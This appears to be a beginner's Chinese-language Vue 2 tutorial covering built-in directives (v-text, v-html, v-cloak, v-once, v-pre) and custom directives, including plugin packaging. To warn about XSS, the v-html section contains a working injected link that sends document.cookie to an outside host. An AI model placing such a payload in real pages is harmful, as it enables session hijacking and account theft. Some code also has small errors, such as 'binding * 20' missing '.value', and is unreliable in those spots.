初学Vue
1、常见内置指令
- v-bind:单向绑定解析表达式,可简写为:xxx
- v-model:双向数据绑定
- v-for:遍历数组、对象、字符串
- v-on:绑定事件监听,可简写为@xxx
- v-if:条件渲染(动态控制节点是否存在)
- v-else:条件渲染(动态控制节点是否存在)
- v-show:条件渲染(动态控制节点是否展示)
上面这些指令用法前面几篇文章有用过,这里就不详细展开讲了,主要讲讲前面没接触过的一些指令,如下:
- v-text:向其所在标签渲染文本内容,并且v-text会替换掉节点文本中的内容,而插值语法不会,此外,该指令不会将传入含有标签的字符串当作标签使用。
<body>
<div id="root">
<div>{{name1}}<div>
<div v-text="name2">啦啦啦啦</div>
<div v-text="name3"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
name1:"小明",
name2:"晓明",
name3:"<span>效明</span>"
}
})
</script>
</body>
结果如下:
- v-html
- 作用:向指定节点中渲染包含html结构的内容
- 插值语法的区别:
(1)v-html会替换掉节点中所有的内容,而插值语法不会
(2)v-html可以识别html结构 - 注意,v-html的使用有安全性问题
(1)在网站上动态渲染任意html是非常危险的,容易导致XSS攻击
(2)一定要在可信任的内容上使用v-html,千万不要在用户提交的内容上使用
示例一:
<body>
<div id="root">
<div>{{name1}}</div>
<div v-html="name2">啦啦啦啦</div>
<div v-html="name3"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
name1:"小明",
name2:"晓明",
name3:"<span>效明</span>"
}
})
</script>
</body>
结果如下:
示例二:面向“prison”编程
如果我们用v-html指令接收一个具有诱惑性的内容,如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../JS/vue.js"></script>
<title>Document</title>
</head>
<body>
<div id="root">
<div v-html="info"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
info:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>我找到“有用”的资源了,快来!!!</a>"
}
})
</script>
</body>
</html>
可以通过document.cookie获取到浏览器cookie中存储的数据(这里的coolie时手动设置的,直接再浏览器cookie那儿改),如下:
点击上面的超链接后,对应的服务器(这里就是百度的服务器地址)就会获取到浏览器cookie中保存的数据
而拿到cookie的人就可以任意的对你的个人账号进行操作,这或许也是访问不良网站被盗号的原因之一(doge)
不过现在大大多数浏览器都拒绝使用第三方cookie,也保护好了用户隐私,此外,浏览器上的cookie中的数据如果被http协议限制了,那么同样的不能拿到cookie中的数据。
- v-cloak
1、这个指令是没有值的
2、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
3、通常使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
看如下示例
<body>
<div id="root">
<div>{{name}}</div>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
name:"小明"
}
});
</script>
</body>
当网速特别慢,页面内容不能立马加载出来时
在标签中加入v-cloak属性时,就不会让模板中{{name}}先显示在页面上,然后再显示出加载出来的数据,而是等页面完全加载完成后显示数据,不会单独先显示模板中的{{name}}。
<body>
<style>
[v-cloak]{
display: none;
}
</style>
<div id="root">
<div v-cloak>{{name}}</div>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
name:"小明"
}
});
</script>
</body>
具体过程如下:
- v-once:没有值,使得所在节点在初次动态渲染后就看做成静态内容了,之后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<div id="root">
<div v-once>页面第一次加载后就不变:{{n}}</div><br>
<div>可以不停的加:{{n}}</div><br>
<button @click="n++">点我n+1</button><br>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:0,
}
});
</script>
</body>
结果参考
- v-pre:
1、可以跳过所在节点的编译过程
2、可利用它跳过没有使用指令语法、没有使用插值语法的节点,从而加快编译。
2、自定义指令
在Vue对象中添加一个配置项directives:{},配置项中自定义指令。分为全局和局部配置。
2.1 函数式自定义指令
例如:自定义一个v-big指令,和v-text功能类似,作用是将绑定的数值放大10倍。
- 局部配置的方式
<body>
<div id="root">
<h3>当前的n值为:{{n}}</h3>
<h3>放大10倍后的n值为:<span v-big="n"></span></h3>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1,
},
// directives是自定义指令的配置属性
directives:{
// 自定义一个big函数,用于放大10倍
// 该函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
big(element,binding){
// element是使用当前指令的标签,是个真实DOM,这里的值为<span></span>
console.log(element);
// console.log(element instanceof HTMLElement); // true,证明这是个真实DOM
// binding是一个对象
console.log(binding);
element.innerText = binding.value * 10; // binding中有个属性value,存储变化后的n值,之后再放大10倍,作为element的纯文本内容
}
}
});
</script>
</body>
binding对象中的内容如下:
n+1之后,浏览器控制台显示如下
- 全局配置方式
<body>
<div id="root">
<div>当前的值为:{{n}}</div><br>
<div>放大10倍后的n值为:<span v-big="n"></span></div><br>
<button @click="n++">点我n加1</button>
</div>
<script>
Vue.config.productionTip = false;
// 全局配置方式
Vue.directive("big",function(element,binding){
element.innerHTML = binding.value * 10;
})
new Vue({
el:"#root",
data:{
n:1,
}
});
</script>
</body>
(1)在directives配置项中写的函数的函数名前加上
v-函数名
就组成了一个指令名,函数的作用就是指令的作用。
(2)指令的功能是通过操作原生DOM来实现的
(3)函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
2.2 对象式自定义指令
格式如下:
directives: {
// 指令名
focus: {
// 全部函数钩子
bind:function(参数){},
inserted: function (参数) {},
update:function(参数){},
componentUpdated:function(参数){},
unbind:function(参数){},
}
}
钩子介绍如下:
bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。
inserted:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。
update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新 。
componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用。
unbind:只调用一次,指令与元素解绑时调用。
参数介绍:
el:指令所绑定的元素,可以用来直接操作 DOM。
binding:一个对象,包含以下 property:
name:指令名,不包括 v- 前缀。
value:指令的绑定值,例如:v-my-directive="1 + 1" 中,绑定值为 2。
oldValue:指令绑定的前一个值,仅在 update 和 componentUpdated 钩子中可用。无论值是否改变都可用。
expression:字符串形式的指令表达式。例如 v-my-directive="1 + 1" 中,表达式为 "1 + 1"。
arg:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"。
modifiers:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }。
vnode:Vue 编译生成的虚拟节点。
oldVnode:上一个虚拟节点,仅在 update 和 componentUpdated 钩子中可用。
例如:自定义一个v-fbind指令,与v-bind指令作用类似,但可以让其所绑定的input元素默认获取焦点
- 局部配置
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../JS/vue.js"></script>
<title>Document</title>
</head>
<body>
<div id="root">
<div>当前n的值为:{{n}}</div>
<br>
<input type="text" v-fbind="n">
<br><br>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1,
},
directives:{
fbind:{
// 特殊时刻调用特殊函数
// 指令与元素进行绑定时,bing函数被调用
bind(element,binding){
console.log(this);
console.log("指令与元素进行绑定时,bing函数被调用");
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element,binding){
console.log(this);
console.log("指令所在元素被插入页面时inserted函数被调用");
// 插入页面时获取焦点
element.focus();
},
// 指令所在模板被重新解析时
update(element,binding){
console.log(this);
console.log("指令所在模板被重新解析时update函数被调用");
element.value = binding.value;
}
}
}
});
</script>
</body>
</html>
结果:
第一次加载页面时,bind函数和inserted函数被调用了,其中inserted函数主要用来给插入到页面的input输入框聚焦
点击按钮后,模板刷新,调用了update函数,n的值改变
分析:
(1)通过自定义指令v-fbind,可以完成给指令所在元素聚焦的功能。
(2)这里使用对象的方式完成自定义指令。在对象fbind中使用了指定的三个方法,bind(),inserted(),update(),这三个方法分别在指定时期调用。并且这三个方法的this指向的对象并不是vue,而是window。
(3)这个示例用函数式自定义指令的方式并不好实现,写成函数式时只能完成对象式中bind函数和update函数的功能,并不能完成元素插入页面后聚焦的作用。
函数式自定义指令时,并没有聚焦,因为这里fbind函数只在指令与元素成功绑定时,以及模板解析时调用,将input元素插入到页面的过程中并不会调用到focus函数,因此完成不了页面刷新后,所被绑定元素获取默认聚焦的功能。
- 全局配置
<body>
<div id="root">
<div>当前n的值为:{{n}}</div>
<br>
<input type="text" v-fbind="n">
<br><br>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
// 全局配置
Vue.directive("fbind", {
// 特殊时刻调用特殊函数
// 指令与元素进行绑定时,bing函数被调用
bind(element, binding) {
console.log(this);
console.log("指令与元素进行绑定时,bing函数被调用");
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding) {
console.log(this);
console.log("指令所在元素被插入页面时inserted函数被调用");
// 插入页面时获取焦点
element.focus();
},
// 指令所在模板被重新解析时
update(element, binding) {
console.log(this);
console.log("指令所在模板被重新解析时update函数被调用");
element.value = binding.value;
}
})
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
</body>
</html>
2.3 简单总结
一、定义语法
(1)局部指令
对象式new Vue({ directives:{指令名:配置对象} })
函数式
new Vue({ directives(){} })
(2)全局指令
对象式
Vue.directive(指令名,配置对象)
函数式
Vue.directive(指令名,回调函数)
二、配置对象中常用的三个回调函数
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在函数模板结构被重新解析时调用。三:补充*
1、指令定义时不加前缀v-,但使用时要加v-
2、指令名如果是多个单词,要使用kebab-case命名方式,就是单词全小写,中间用-分开,不要用驼峰命名法。
2.4 自定义指令的模块化使用
需要借助vue中的自定义插件来配合使用
在配置文件src/config/index.js中定义一个插件对象:
export default{
myPlugin:{},
}
创建一个专门存放自定义指令的文件夹direcitves,如下:
directives:
---all // 用来存放不同指令的钩子函数js文件
---index.js // 在这里将所有自定义指令封装到插件中
步骤:
(1)创建一个含有指令钩子函数的js文件,或者使用函数式指令也行,并暴露出去
例如:/directives/all/v-bigger.js
export default {
bind(element, binding) {
element.innerHTML = binding * 20
}
}
(2)封装到插件中,/directives/index.js
import vBigger from "./allDirectives/v-bigger";
import config from '@/config/index.js'
// 封装成插件
let myPlugin = config.myPlugin
myPlugin.install = function (Vue) {
Vue.directive('bigger', vBigger)
}
// 导出插件
export default myPlugin
(3)在main.js中引入并使用插件
import directives from './directives/index'
Vue.use(directives)